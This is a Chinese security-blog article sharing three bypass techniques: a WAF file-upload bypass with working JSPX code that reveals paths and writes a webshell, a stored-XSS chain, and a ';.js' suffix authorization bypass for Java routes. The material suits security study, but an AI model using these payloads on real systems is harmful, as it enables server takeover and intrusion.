三个bypass案例分享

admin 2023年1月3日13:23:48安全文章评论24 views2238字阅读7分27秒阅读模式

首发:土司论坛

案例1 文件上传

waf  bypass内容校验+后缀校验 

已具备条件:上传处可上传任意类型的文件,但是平台存在waf,直接上传会被拦截

bypass后缀校验

利用原理:

利用服务器解析rfc和waf解析rfc的差异性进行bypass。

waf解析的rfc格式为获取所有filename字段内容

因此利用;

分割符号使服务器的rfc解析获取到的为jspx 

而waf获取的为.jspx;即可绕过 

因为服务器组件解析获取到;时会停止解析后面的内容 

同理以前过某服的waf 也是同样的这个原理 

格式:

filename=1.jsp
z
c


案例如下:

正常传一个jpg


三个bypass案例分享

改为后缀为jsp 直接被拦


三个bypass案例分享

双写filename 先将filename="1.txt"放在后面看看waf是怎样获取格式的 发觉被拦截


三个bypass案例分享

放在前面 且删除双引号 也是被拦截


三个bypass案例分享

尝试将其均改为txt 可进行上传 

因此猜测 

waf是直接获取的所有的filename字段,然后取后缀是否为jsp或者jspx


即判断是否为wenshell的后缀,且跟双引号无关



三个bypass案例分享

因此猜测利用jspx;

这种方式时waf取的后缀为jspx;

进行尝试 与猜测中相同 

直接bypass后缀校验

三个bypass案例分享

三个bypass案例分享

内容绕过: 

这个案例倒不是我写的了  这个目标站的具体图没有了

之前在先知里面看到的一种手法,这里也是利用其进行绕掉了 上传jspx 然后访问获取绝对路径,这里的test.jsp改为服务器已经存在的

  1. jspx


<hi xmlns:hi="http://java.sun.com/JSP/Page">
    <hi:scriptlet>
        String path = application.getRealPath("test.jsp");
        out.println(path);
    </hi:scriptlet>
</hi>

获取到绝对路径后 

在利用 上传上去后 如test.jspx?x=6base64编码的webshell 根据waf强度自己改多少次base64 下面这个写马

<hi xmlns:hi="http://java.sun.com/JSP/Page">
    <hi:directive.page import="java.util.Base64,java.io.*"/>
    <hi:scriptlet>
        File file = new File("绝对路径+webshell的名字");
        FileWriter fileOut = new FileWriter(file);
        Base64.Decoder base64 = Base64.getDecoder();
        byte[] str = base64.decode(base64.decode(base64.decode(base64.decode(base64.decode(base64.decode(request.getParameter("x").getBytes("utf-8")))))));
        try {
            fileOut.write(new String(str, "utf-8"));
            out.println("写入成功");
        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            try {
                if (fileOut != null) {
                    fileOut.close();
                }
        } catch (Exception e) {
                e.printStackTrace();
            }
        }
    </hi:scriptlet>
</hi>


最后也是成功写入,成功获取webshell


三个bypass案例分享

案例2 存储xss bypass

apk+论坛联动+unicode编码未禁用导致存储xss bypass

产生原理:

  1. app中过滤禁用了事件属性,但是没禁用标签 

  2. 手机apk的数据会同步到web网站数据中

  3. web网站中 实体编码了标签,但是没禁用事件属性,如onerror等事件属性,且实体unicode编码未禁用 进而组合可进行绕过


具体案例如下:


①手机app发一个帖子


三个bypass案例分享


②web网站中 

找到刚才同步过去的帖子点击进行编辑


三个bypass案例分享
三个bypass案例分享

编辑输入实体编码 如下


三个bypass案例分享

然后点击发布即可 弹弹弹 弹走鱼尾纹


三个bypass案例分享

案例3 权限校验绕过


;符号绕过鉴权


原理:requesturi+endswith进行鉴权判断,进而导致权限被绕过

由于requesturi获取路由会把所有的路由均取进来因此可能会导致绕过


三个bypass案例分享

具体案例如下: 

找了一圈有图的,找了个审计的 

这个是审计出的,也有存黑盒绕过出了的 但是因为图片缺少的原因 


所以还是采用这个给大家分享

三个bypass案例分享

分享这个案例的原因是因为 结合这个案例 

我们在对java语言项目做渗透测试的时候


有时候可以考虑在.do或者.action 或者.jsp后面添加;.js或者;.css这种路径 

说不定会产生不一样的惊喜 

当然啦 ../../+js路由这种手法和//这两种也可以进行测试 也有可能遇到不一样的惊喜


原文始发于微信公众号(goddemon的小屋):三个bypass案例分享

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月3日13:23:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  三个bypass案例分享 http://cn-sec.com/archives/1496133.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: